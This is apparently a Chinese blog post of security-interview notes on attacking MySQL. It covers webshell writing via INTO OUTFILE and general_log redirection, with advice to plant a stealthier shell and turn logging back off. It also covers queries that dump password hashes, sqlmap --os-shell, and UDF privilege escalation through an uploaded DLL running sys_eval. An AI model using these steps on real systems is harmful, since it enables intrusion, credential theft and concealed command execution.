0%

面试问题整理

本文不间断地记录面试遇到的问题,希望能对自己有个警醒,对后辈有所作用。

MySQL写Webshell的条件

1.知道网站绝对路径
2.有对网站绝对路径的写权限 select @@basedir;
3.没有配置secure_file_priv 或者其为空
4.GPC关闭(默认关闭)
secure_file_priv已经设置的话,可以通过修改日志文件到网站根目录,然后通过包含的方式写shell
流程:
首先找到日志存放位置:
接下来设置general_log 为on:set global general_log = on;
接下来把日志文件修改为网站绝对目录下的某个文件 比如set global general_log_file =’/var/www/html/shell.php’;
接下来select 即可记录到日志文件中,在URL中访问日志文件即可。
这里需要注意一个问题,如果目标站点数据库访问频繁的话可能日志文件会很大,连shell会很卡,所以拿到该shell后重新再传一个隐蔽点的shell,再把日志文件改回去,关闭日志记录的功能。

mysql常用查询

select @@version; 查询数据库版本
select @@basedir; 查询MYSQL安装路径
select @@plugin_dir ; 查看plugin路径
select host, user, password from mysql.user; 查询hash (MySQL <= 5.6 )
select host, user, authentication_string from mysql.user; 查询hash (MySQL >= 5.7 )
select @@version_compile_os,@@version_compile_machine; 查询当前操作系统

写shell的几种方式

Union select

union select ‘‘ into outfile /var/www/html/shell.php#

lines terminated by

select * from phpcmsv9.v9_admin_role where roleid = 1 into outfile ‘C:/wamp64/www/work/webshell.php’ lines terminated by ‘‘;
原理:
通过select语句查询的内容写入文件,也就是 1 into outfile ‘C:/wamp64/www/work/webshell.php’ 这样写的原因,然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

lines starting by

类似lines terminated by

fields terminated by

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

columns terminated by

如上同理

sqlmap写webshell

类似上述Mysql写webshell,不过更自动化了,使用命令为 mysql -u url –os-shell,要求同上–目录可写,关闭gpc,绝对路径,ban secure_file_priv

mysql UDF提权

参考链接:
https://blog.csdn.net/qq_26406447/article/details/102691188
https://www.jianshu.com/p/5b34c1b6dee7
什么是UDF?
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。通过动态库方式实现
首先通过注入获取mysql账号密码

1
2
3
4
//MySQL 5.6 and below
select host, user, password from mysql.user;
//MySQL 5.7 and above
select host, user, authentication_string from mysql.user;

有列数限制的话就group_concat(c1,c2,c3 separator ‘-‘)
拿到密码后去搜一下md5值。。这里默认root root
然后远程连接mysql
看一下secure_file_priv
接下来就把对应mysql版本的dll文件传上去 位数查看命令:show variables like ‘%version_%’;,位数不对使用dll文件的时候会报错!!!一定注意
我这里是64位,就传64位的了,传之前需要用sqlmap的dll,但是异或编码,需要解码,解码也在sqlmap里面。
python cloak.py -d -i …/64/lib_mysqludf_sys.dll_
解码后上传到数据库对应的位置里面去
这里我上传出了点问题,太离谱了。
我不太会用loadfile,所以把文件通过010editor,转为16进制导出,然后在notepad去掉空格和换行符(匹配’\r\n’),然后
select unhex(‘data’) into dumpfile ‘path/plugin/udf.dll’
接下来,create function sys_eval returns string soname “udf.dll”;
之后就可以愉快地在mysql里面使用系统权限执行命令了。

分享